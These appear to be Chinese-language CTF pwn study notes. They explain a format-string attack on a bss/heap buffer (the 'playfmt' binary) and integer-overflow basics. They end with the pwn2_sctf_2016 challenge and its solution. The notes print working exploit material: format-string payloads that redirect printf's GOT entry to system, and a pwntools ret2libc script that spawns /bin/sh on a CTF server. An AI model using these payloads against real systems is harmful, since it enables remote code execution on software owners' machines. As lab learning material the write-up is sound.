非栈上的格式化字符串漏洞

1.在bss段上

不在栈上我们无法直接利用栈读写入数据，所以需要间接写

改ret地址中的libc_start_main为onegadget

改printf的got为system/onegadget

2.在堆上

playfmt

ida中，不写入quit就有格式化字符串漏洞，因此想要使用任意地址写

IDA View-A | Pseudocode-A | Hex View-1

```
int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u);
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}
```

但是buf没有在栈上，我们怎么实现数据的读写呢

```
.bss:0804A041                 align 20h
.bss:0804A060                 public buf
.bss:0804A060 ; char buf[200]
.bss:0804A060 buf             db 0C8h dup(?)          ; DATA XREF: do_fmt+1A↑o
.bss:0804A060                                         ; do_fmt+37↑o ...
.bss:0804A060 _bss            ends
.bss:0804A060
```

如果我们修改printf的got指向system,那么我们输入'/bin/sh'时执行的就是system('/bin/sh'),

```
.got.plt:0804A000                                     ; do_fmt+C↑o ...
.got.plt:0804A004 dword_804A004   dd 0                ; DATA XREF: sub_8048380↑r
.got.plt:0804A008 dword_804A008   dd 0                ; DATA XREF: sub_8048380+6↑r
.got.plt:0804A00C off_804A00C     dd offset read      ; DATA XREF: _read↑r
.got.plt:0804A010 off_804A010     dd offset printf    ; DATA XREF: _printf↑r
.got.plt:0804A014 off_804A014     dd offset puts      ; DATA XREF: _puts↑r
.got.plt:0804A018 off_804A018     dd offset __libc_start_main
.got.plt:0804A018                                     ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A01C off_804A01C     dd offset setvbuf   ; DATA XREF: _setvbuf↑r
```

在printf处断点

查看栈，通过栈地址和__libc_start_call_main计算libc的偏移量

```
pwndbg> stack 40
00:0000 |  esp 0xffffcebc —▸ 0x8048554 (do_fmt+89) ◂— add esp, 0x10
01:0004 |-018 0xffffcec0 {format} —▸ 0x804a060 (buf) ◂— 'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
02:0008 |-014 0xffffcec4 —▸ 0x8048680 ◂— jno __GNU_EH_FRAME_HDR+71 /* 'quit' */
03:000c |-010 0xffffcec8 ◂— 4
04:0010 |-00c 0xffffcecc —▸ 0x8048507 (do_fmt+12) ◂— add ebx, 0x1af9
05:0014 |-008 0xffffced0 —▸ 0x8048685 ◂— cmp eax, 0x3d3d3d3d /* '====================' */
06:0018 |-004 0xffffced4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
07:001c |  ebp 0xffffced8 —▸ 0xffffcee8 —▸ 0xffffcef8 —▸ 0x8048600 (__libc_csu_init) ◂— push ebp
08:0020 |+004 0xffffcedc —▸ 0x80485ad (play+77) ◂— nop
09:0024 |+008 0xffffcee0 —▸ 0x7f99d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028 |+00c 0xffffcee4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
0b:002c |+010 0xffffcee8 —▸ 0xffffcef8 —▸ 0x8048600 (__libc_csu_init) ◂— push ebp
0c:0030 |+014 0xffffceec —▸ 0x80485ea (main+55) ◂— nop
0d:0034 |+018 0xffffcef0 —▸ 0xffffcf10 ◂— 1
0e:0038 |+01c 0xffffcef4 —▸ 0x7f98e14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x233d0c /* '\x0c=#' */
0f:003c |+020 0xffffcef8 —▸ 0x8048600 (__libc_csu_init) ◂— push ebp
10:0040 |+024 0xffffcefc —▸ 0x7d8af21 (__libc_start_call_main+113) ◂— add esp, 0x10
11:0044 |+028 0xffffcf00 —▸ 0xffffd1ab ◂— '/home/kali/playfmt'
12:0048 |+02c 0xffffcf04 ◂— 0
13:004c |+030 0xffffcf08 —▸ 0x7da4569 (__new_exitfn+9) ◂— add ebx, 0x1f48ab
14:0050 |+034 0xffffcf0c —▸ 0x7d8af21 (__libc_start_call_main+113) ◂— add esp, 0x10
15:0054 |+038 0xffffcf10 ◂— 1
16:0058 |+03c 0xffffcf14 —▸ 0xffffcfc4 —▸ 0xffffd1ab ◂— '/home/kali/playfmt'
```

看见标红的地方，和printf_got只差两个字节，所以最后我们通过修改它达到

先将cee8指向改为cedc

```
pwndbg> set *0xffffcee8=0xffffcedc
pwndbg> stack 40
00:0000 |  esp 0xffffcebc —▸ 0x8048554 (do_fmt+89) ◂— add esp, 0x10
01:0004 |-018 0xffffcec0 {format} —▸ 0x804a060 (buf) ◂— 'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
02:0008 |-014 0xffffcec4 —▸ 0x8048680 ◂— jno __GNU_EH_FRAME_HDR+71 /* 'quit' */
03:000c |-010 0xffffcec8 ◂— 4
04:0010 |-00c 0xffffcecc —▸ 0x8048507 (do_fmt+12) ◂— add ebx, 0x1af9
05:0014 |-008 0xffffced0 —▸ 0x8048685 ◂— cmp eax, 0x3d3d3d3d /* '====================' */
06:0018 |-004 0xffffced4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
07:001c |  ebp 0xffffced8 —▸ 0xffffcee8 —▸ 0xffffcedc —▸ 0x80485ad (play+77) ◂— nop
08:0020 |+004 0xffffcedc —▸ 0x80485ad (play+77) ◂— nop
09:0024 |+008 0xffffcee0 —▸ 0x7f99d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028 |+00c 0xffffcee4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
0b:002c |+010 0xffffcee8 —▸ 0xffffcedc —▸ 0x80485ad (play+77) ◂— nop
0c:0030 |+014 0xffffceec —▸ 0x80485ea (main+55) ◂— nop
0d:0034 |+018 0xffffcef0 —▸ 0xffffcf10 ◂— 1
0e:0038 |+01c 0xffffcef4 —▸ 0x7f98e14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x233d0c /* '\x0c=#' */
0f:003c |+020 0xffffcef8 —▸ 0xffffcedc —▸ 0x80485ad (play+77) ◂— nop
10:0040 |+024 0xffffcefc —▸ 0x7d8af21 (__libc_start_call_main+113) ◂— add esp, 0x10
11:0044 |+028 0xffffcf00 —▸ 0xffffd1ab ◂— '/home/kali/playfmt'
12:0048 |+02c 0xffffcf04 ◂— 0
13:004c |+030 0xffffcf08 —▸ 0x7da4569 (__new_exitfn+9) ◂— add ebx, 0x1f48ab
14:0050 |+034 0xffffcf0c —▸ 0x7d8af21 (__libc_start_call_main+113) ◂— add esp, 0x10
```

然后修改cedc的指向

```
pwndbg> set *0xffffcedc=0x804a010
pwndbg> stack 40
00:0000 |  esp 0xffffcebc —▸ 0x8048554 (do_fmt+89) ◂— add esp, 0x10
01:0004 |-018 0xffffcec0 {format} —▸ 0x804a060 (buf) ◂— 'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
02:0008 |-014 0xffffcec4 —▸ 0x8048680 ◂— jno __GNU_EH_FRAME_HDR+71 /* 'quit' */
03:000c |-010 0xffffcec8 ◂— 4
04:0010 |-00c 0xffffcecc —▸ 0x8048507 (do_fmt+12) ◂— add ebx, 0x1af9
05:0014 |-008 0xffffced0 —▸ 0x8048685 ◂— cmp eax, 0x3d3d3d3d /* '====================' */
06:0018 |-004 0xffffced4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
07:001c |  ebp 0xffffced8 —▸ 0xffffcee8 —▸ 0xffffcedc —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7dc02b0 (printf) ◂— ...
08:0020 |+004 0xffffcedc —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7dc02b0 (printf) ◂— call __x86.get_pc_thunk.ax
09:0024 |+008 0xffffcee0 —▸ 0xf7f99d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028 |+00c 0xffffcee4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
0b:002c |+010 0xffffcee8 —▸ 0xffffcedc —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7dc02b0 (printf) ◂— call __x86.get_pc_thunk.ax
0c:0030 |+014 0xffffceec —▸ 0x80485ea (main+55) ◂— nop
0d:0034 |+018 0xffffcef0 —▸ 0xffffcf10 ◂— 1
0e:0038 |+01c 0xffffcef4 —▸ 0xf7f98e14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x233d0c /* '\x0c=#' */
0f:003c |+020 0xffffcef8 —▸ 0xffffcedc —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7dc02b0 (printf) ◂— call __x86.get_pc_thunk.ax
10:0040 |+024 0xffffcefc —▸ 0xf7d8af21 (__libc_start_call_main+113) ◂— add esp, 0x10
11:0044 |+028 0xffffcf00 —▸ 0xffffd1ab ◂— '/home/kali/playfmt'
12:0048 |+02c 0xffffcf04 ◂— 0
```

最后修改got

```
27:009c|+080 0xffffcf58 —▸ 0xf7fde265 (_dl_audit_preinit+5) ◂— add edx, 0x1ed6f
pwndbg> telescope &system
00:0000|      0xf7db8830 (system) ◂— call __x86.get_pc_thunk.dx
01:0004|      0xf7db8834 (system+4) ◂— add byte ptr [ecx + 0x1e05dfc2], al
02:0008|      0xf7db8838 (system+8) ◂— add eax, 0xec83001e
03:000c|      0xf7db883c (system+12) ◂— in al, dx
04:0010|      0xf7db8840 (system+16) ◂— and al, 0x10
05:0014|      0xf7db8844 (system+20) ◂— je system+32
06:0018|      0xf7db8848 (system+24) ◂— or al, 0xe9
07:001c|      0xf7db884c (system+28) ◂— 0x9066ffff
pwndbg> set *0x804a010=0xf7db8830
pwndbg> stack 40
00:0000| esp 0xffffcebc —▸ 0x8048554 (do_fmt+89) ◂— add esp, 0x10
01:0004|-018 0xffffcec0 {format} —▸ 0x804a060 (buf) ◂— 'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
02:0008|-014 0xffffcec4 —▸ 0x8048680 ◂— jno __GNU_EH_FRAME_HDR+71 /* 'quit' */
03:000c|-010 0xffffcec8 ◂— 4
04:0010|-00c 0xffffcecc —▸ 0x8048507 (do_fmt+12) ◂— add ebx, 0x1af9
05:0014|-008 0xffffced0 —▸ 0x8048685 ◂— cmp eax, 0x3d3d3d3d /* '==========' */
06:0018|-004 0xffffced4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
07:001c| ebp 0xffffced8 —▸ 0xffffcee8 —▸ 0xffffcedc —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7db8830 (system) ◂— ...
08:0020|+004 0xffffcedc —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7db8830 (system) ◂— call __x86.get_pc_thunk.dx
09:0024|+008 0xffffcee0 —▸ 0xf7f99d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028|+00c 0xffffcee4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
0b:002c|+010 0xffffcee8 —▸ 0xffffcedc —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7db8830 (system) ◂— call __x86.get_pc_thunk.dx
```

这样在理论上我们可以成功做到

但在实操修改字节时有改变

cee4-->a000低两位好改

```
+004 0xffffcedc —▸ 0x80485ad (play+77) ◂— nop
+008 0xffffcee0 —▸ 0xf7f99d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
+00c 0xffffcee4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 1
+010 0xffffcee8 —▸ 0xffffcef8 —▸ 0x8048600 (__libc_csu_init) ◂— push ebp
+014 0xffffceec —▸ 0x80485ea (main+55) ◂— nop
```

第一条链修改成功，然后还要找一条链修改

为什么要找两条链呢？可以看到，我们要修改2.5个字节，所以还要找一链辅助我们修改低位字节

```
pwndbg> telescope &system
00:0000|      0xf7db8830 (system) ◂— call __x86.get_pc_thunk.dx
01:0004|      0xf7db8834 (system+4) ◂— add byte ptr [ecx + 0x1e05dfc2], al
02:0008|      0xf7db8838 (system+8) ◂— add eax, 0xec83001e
03:000c|      0xf7db883c (system+12) ◂— in al, dx
04:0010|      0xf7db8840 (system+16) ◂— and al, 0x10
05:0014|      0xf7db8844 (system+20) ◂— je system+32
06:0018|      0xf7db8848 (system+24) ◂— or al, 0xe9
07:001c|      0xf7db884c (system+28) ◂— 0x9066ffff
pwndbg> 0xf7dc02b0
```

但是不能0.5个字节修改，所以我们修改整个低字节。修改cedc-->a012，为什么是printf_got+2呢，因为printf_got+2指向目标地址的低两字节（这里针对小端序而言）

```
07:001c| ebp 0xffffced8 —▸ 0xffffcedc —▸ 0x804a012 (printf@got[plt]+2) ◂— 0x30c0f7dc
08:0020|+004 0xffffcedc —▸ 0x804a012 (printf@got[plt]+2) ◂— 0x30c0f7dc
09:0024|+008 0xffffcee0 —▸ 0xf7f99d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028|+00c 0xffffcee4 —▸ 0x804a010 (printf@got[plt]) —▸ 0xf7dc02b0 (printf) ◂— call __x86.g
```

```
got_addr = ebp - 4 #cee4
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' #改为指向cee4
r.sendline(payload)

num = printf_got & 0xFF   #10
payload = '%' + str(num) + 'c%10$hhn' #cef8 -->ce10
r.sendline(payload)

got_addr = ebp - 12 # ebp -->cedc
num = got_addr & 0xFF
payload = '%' + str(num) + 'c%6$hhn' # ebp -->cedc
r.sendline(payload)
```

```
num = (printf_got+2) & 0xFFFF  #a012
payload = '%' + str(num) + 'c%10$hn'  #cef8 -->a012
r.sendline(payload)

num1 = system&0xFFFF #高字节
num2 = (system>>16)-num1 #低字节
payload ='%' + str(num1)  + 'c%9$hn%' + str(num2) + 'c%7$hn'
r.sendline(payload)

payload = "/bin/sh"
r.sendline(payload)

r.interactive()
```

整数溢出

当程序中的数据超过其数据类型的范围，则会造成溢出，整数类型的溢出被称为整数溢出。

有符号整数

类型	字节数	范围
signed char	1	-2^7(-128) ~ 2^7-1(127)
short int 或 short	2	-2^15(-32 768) ~ 2^15-1(32 767)
int	4	-2^31(-2 147 483 648) ~ 2^31-1(2 147 483 647)
long int 或 long	4	-2^31(-2 147 483 648) ~ 2^31-1(2 147 483 647)
long long int 或 long long	8	-2^63(-9.2233720368548e+18) ~ 2^63-1(9.2233720368548e+18)

无符号整数

类型	字节数	范围
unsigned char	1	0 ~ 2^8-1(255)
unsigned short int 或 unsigned short	2	0 ~ 2^16-1(65 535)
unsigned int	4	0 ~ 2^32-1(4 294 967 295)
unsigned long int 或 unsigned long	4	0 ~ 2^32-1(4 294 967 295)
unsigned long long int 或 unsigned long long	8	0 ~ 2^64-1(1.844674407371e+19)

浮点数

类型	字节数	范围
float	4	-/+3.4e38（精确到6位小数）

类型	字节数	范围
double	8	-/+1.7e308（精确到15位小数）
long double	12	-/+1.19e4932（精确到18位小数）

存储：

1.负数的存储采用补码

2.浮点数的存储

任意一个二进制浮点数V可以表示成下面的形式：

$$(-1)^S * M * 2^E$$

(-1)^s表示符号位，当s=0，V为正数；当s=1，V为负数。

M表示有效数字，大于等于1，小于2。

2^E表示指数位。

二进制码M乘以2的n次方，相当于将二进制码M的小数点向右移动n位,于科学计数法类似

异常情况

关于整数的异常情况主要有三种：

1. 溢出，只有有符号数才会发生溢出。有符号数的最高位表示符号，在两正或两负相加时，有可能改变符号位的值，产生溢出。**溢出标志OF**可检测有符号数的溢出；
2. 回绕，**进位标志CF**可检测无符号数的回绕；

   无符号数会回绕（常绕过一些判断语句）

   对于unsigned整型溢出，C的规范是有定义的——“溢出后的数会以2^(8*sizeof(type))作模运算”，也就是说，如果一个unsigned char（1字符，8bits）溢出了，会把溢出的值与256求模。例如：

   ```
   unsigned char x = 0xff;
   printf("%d\n", ++x);
   ```

   上面的代码会输出：0 （因为0xff + 1是256，与2^8求模后就是0）
3. 截断，将一个较大宽度的数存入一个宽度小的操作数中，高位发生截断。

或者说计算机中有4种溢出情况，以32位整数为例。

- 无符号上溢：无符号数0xFFFFFFFF加1变为0的情况。
- 无符号下溢：无符号数0减去1变为0xFFFFFFFF的情况。
- 有符号上溢：有符号数正数0x7FFFFFFF加1变为负数0x80000000，即十进制-2147483648的情况。
- 有符号下溢：有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。

OF(overflow flag) 溢出标志位

溢出标志位 **OF = 1 表示带符号整数运算时结果发生溢出。**对于无符号整数运算，OF没有意义。（正数加正数永远为正数）
对于有符号数的溢出判断方式有：
1）采用一位符号位：思想为：'-'+'-'='+' 或 '+'+'+'='-'则为溢出，其他情况无溢出
2）采用双符号位：s1、s2表示运算结果的两个符号位
① s1s2 = 00 表示正数，无溢出
② s1s2 = 01 表示结果正溢出 ，即 '-'+'-'='+'，且s2表示当前运算符号'-'，s1表示原本正确的符号'+'
③ s1s2 = 10 表示结果负溢出 ，即 '+'+'+'='-'，且s2表示当前运算符号'+'，s1表示原本正确的符号'-'
④ s1s2 = 11 表示结果为负数，无溢出
3）采用一位符号位，根据数据位的进位情况判断溢出
Cs 表示两数之间符号位运算的进位
C1 表示最高数值位
V = Cs⊕C1 ,若 V=0 表示无溢出；V=1 表示有溢出
注：最高位产生进位不一定有溢出

整数溢出漏洞利用

整数溢出要配合其他类型的缺陷才能有用，不像栈溢出等内存破坏可以直接通过覆盖内存进行利用，常常需要进行一定转换才能溢出。常见的转换方式有两种。

1. **整数溢出转换成缓冲区溢出**
   整数溢出可以将一个很小的数突变成很大的数。比如，无符号下溢可以将一个表示缓冲区大小的较小的数通过减法变成一个超大的整数，导致缓冲区溢出。
   另一种情况是通过**输入负数**的办法来绕过一些长度检查，如一些程序会使用有符号数字表示长度，那么就可以使用负数来绕过长度上限检查(例如用'-1'绕过if条件对字符长度的检查） 而大多数系统API使用无符号数来表示长度，此时负数就会变成超大的正数导致溢出。
2. **整数溢出转数组越界**
   在C语言中，数组索引的操作只是简单地将数组指针加上索引来实现，并不会检查边界。因此，很大的索引会访问到数组后的数据，如果索引是负数，那么还会访问到数组之前的内存。
   在数组索引的过程中，数组索引还要乘以数组元素的长度来计算元素的实际地址。以int类型数组为例，数组索引需要乘以4来计算偏移。假如通过传入负数来绕过边界检查，那么正常情况下只能访问数组之前的内存。但由于索引会被乘以 4，那么依然可以索引数组后的数据甚至整个内存空间。例如，想要索引数组后0x1000字节处的内容，只需要传入负数-2147482624，该值用十六进制数表示为0x80000400，再乘以元素长度4后，由于无符号整数上溢结果，即为0x00001000。可以看到，与整数溢出转缓冲区溢出相比，数组越界更容易利用。

简单说，危害：

1. 整数回绕之后，会导致**索引越界**，取到不确定的数据
2. 或者判断失效，形成死循环。
3. 回绕之后，导致分配超大内存。

pwn2_sctf_2016

简单说在小于等于int 32下允许我们输入这个大小的内容

get_n的返回值其实并没有被用到

Pseudocode-A | Stack of vuln | Hex View-1

```c
int vuln()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(nptr, 4);
  v2 = atoi(nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(nptr, v2);
  return printf("You said: %s\n", nptr);
}
```

Pseudocode-A | Stack of vuln | Hex View-1

```c
int __cdecl get_n(int a1, unsigned int a2)
{
  unsigned int v2; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; ; ++i )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || i >= a2 )
      break;
    v2 = i;
    *(_BYTE *)(v2 + a1) = v4;
  }
  *(_BYTE *)(a1 + i) = 0;
  return a1 + i;
}
```

```
┌──(kali㉿kali)-[~]
└─$ checksec --file=./sctfpwn2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortif
iable   FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   74 Symbols        No    0               1    .
/sctfpwn2

┌──(kali㉿kali)-[~]
└─$ file ./sctfpwn2
./sctfpwn2: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux
 2.6.24, BuildID[sha1]=4b6d53bc9aca0e73953173f153dc75bd540d6a48, not stripped

┌──(kali㉿kali)-[~]
└─$ ROPgadget --binary ./sctfpwn2 --string '/bin/sh'
Strings information
============================================================
```

表面上没有栈溢出，但是这个程序从没有严格控制我们输入的数字大小，意味着我们可以输入超过这个类型范围的数字造成 整数溢出转换成缓冲区溢出

输入负数即可（但我有个问题，无论nptr是char或者int理论上都是允许有负数的，但是为什么这里只要是负数就可以溢出呢？）

```
┌──(kali㉿kali)-[~]
└─$ ./sctfpwn2
How many bytes do you want me to read? -129
Ok, sounds good. Give me 4294967167 bytes of data!
^C
```

```
┌──(kali㉿kali)-[~]
└─$ ./sctfpwn2
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
```

```
┌──(kali㉿kali)-[~]
└─$ ./sctfpwn2
How many bytes do you want me to read? -2 147 483 648
Ok, sounds good. Give me 4294967294 bytes of data!
You said: 7 483 648

┌──(kali㉿kali)-[~]
└─$ ./sctfpwn2
How many bytes do you want me to read? -21474836489
Ok, sounds good. Give me 4294967082 bytes of data!
You said: 4836489
```

接下来就是写攻击脚本了，用libc

```python
from pwn import *

p = remote('node5.buuoj.cn',29965)
elf = ELF('sctfpwn2')
libc = ELF('libc-2.23.so')

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = elf.sym['main']

p.recvuntil(b'How many bytes do you want me to read? ')
p.sendline(b'-1')
p.recvuntil(b'data!\n')

payload1 = b'a' * (0x2c + 4) + p32(printf_plt) + p32(main) + p32(printf_got)
p.sendline(payload1)
p.recvuntil(b'You said: ')
p.recvline()

addr = u32(p.recv(4))
print('addr:', hex(addr))
libc_base = addr - libc.symbols['printf']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh'.encode()))

payload2 = b'a' * (0x2c + 4) + p32(system) + p32(main) + p32(binsh)

p.recvuntil(b'How many bytes do you want me to read? ')
p.sendline(b'-1')
p.recvuntil(b'data!\n')
p.sendline(payload2)

p.interactive()
```